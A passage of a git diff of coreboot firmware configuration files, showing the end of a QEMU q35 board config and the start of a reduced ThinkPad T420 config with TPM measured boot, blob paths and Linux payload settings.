CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y -# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set -# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set -# CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0x10000 -CONFIG_DCACHE_RAM_SIZE=0x90000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 -CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_QEMU_X86=y -# CONFIG_CPU_QEMU_X86_NO_SMM is not set -CONFIG_CPU_QEMU_X86_ASEG_SMM=y -# CONFIG_CPU_QEMU_X86_TSEG_SMM is not set -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_UNKNOWN_TSC_RATE=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_ASEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y - -# -# Northbridge -# - -# -# Southbridge -# # CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_SOUTHBRIDGE_INTEL_I82801IX=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_MAINBOARD_HAS_CHROMEOS=y - -# -# ChromeOS -# -# end of ChromeOS - -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_VGA=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -# CONFIG_TPM1 is not set CONFIG_TPM2=y -CONFIG_TPM=y -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM2 is not set -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -CONFIG_CONSOLE_QEMU_DEBUGCON=y -CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=6 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_HWBASE_DEBUG_NULL=y -# end of Console - -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_DECOMPRESS_OFAST=y -CONFIG_PROBE_RAM=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index dd6e2ea51..cffff029a 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -1,706 +1,30 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="ThinkPad T420" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T420" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/t420" -CONFIG_VGA_BIOS_ID="8086,0126" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x7E7FFF -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_VBOOT_SLOTS_RW_A=y -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T420" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set CONFIG_BOARD_LENOVO_T420=y -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="LEN0015" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_8192=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -CONFIG_COREBOOT_ROMSIZE_KB_8192=y -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=8192 -CONFIG_ROM_SIZE=0x00800000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 